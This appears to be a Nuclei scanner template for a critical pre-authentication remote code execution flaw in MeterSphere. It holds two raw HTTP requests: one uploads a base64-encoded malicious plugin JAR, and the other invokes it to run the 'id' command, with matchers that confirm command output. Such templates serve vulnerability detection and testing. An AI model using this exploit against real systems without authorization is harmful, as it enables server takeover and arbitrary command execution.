id: metersphere-plugin-rce

info:
  name: MeterSphere - Remote Code Execution
  author: pdteam,y4er,pdresearch,rootxharsh,iamnoooob
  severity: critical
  description: |
    MeterSphere is susceptible to remote code execution.
  reference:
    - https://y4er.com/post/metersphere-plugincontroller-pre-auth-rce/
    - https://github.com/metersphere/metersphere
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-77,CWE-434
  metadata:
    verified: true
    max-request: 2
  tags: metersphere,rce,intrusive,vuln

http:
  - raw:
      - |
        POST /plugin/add HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json, text/plain, */*
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryreButJNjkCniQExX

        ------WebKitFormBoundaryreButJNjkCniQExX
        Content-Disposition: form-data; name="file"; filename="metersphere-plugin-DebugSampler-1.0.1-jar-with-all-dependencies.jar"
        Content-Type: application/octet-stream

        {{base64_decode("[encoded data, 11956 characters]")}}
        ------WebKitFormBoundaryreButJNjkCniQExX
        Content-Disposition: form-data; name="request"; filename="blob"
        Content-Type: application/json

        null
        ------WebKitFormBoundaryreButJNjkCniQExX--
      - |
        POST /plugin/customMethod HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
        Content-Type: application/json

        {"entry":"io.metersphere.plugin.DebugSampler.UiScriptApiImpl","request":"id"}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"data":'
          - '"success":true'
        condition: and

      - type: regex
        regex:
          - "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        regex:
          - "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"
# digest: 4a0a00473045022100d2ae63ac722620243b53f9014bcffcdefa15b0eb664d7334dc63288ff49ab2520220217551e37e70905de7e346231f6243ba7830a3b02d1ad76889204983a61b0e94:922c64590222798bb761d5b6d8e72950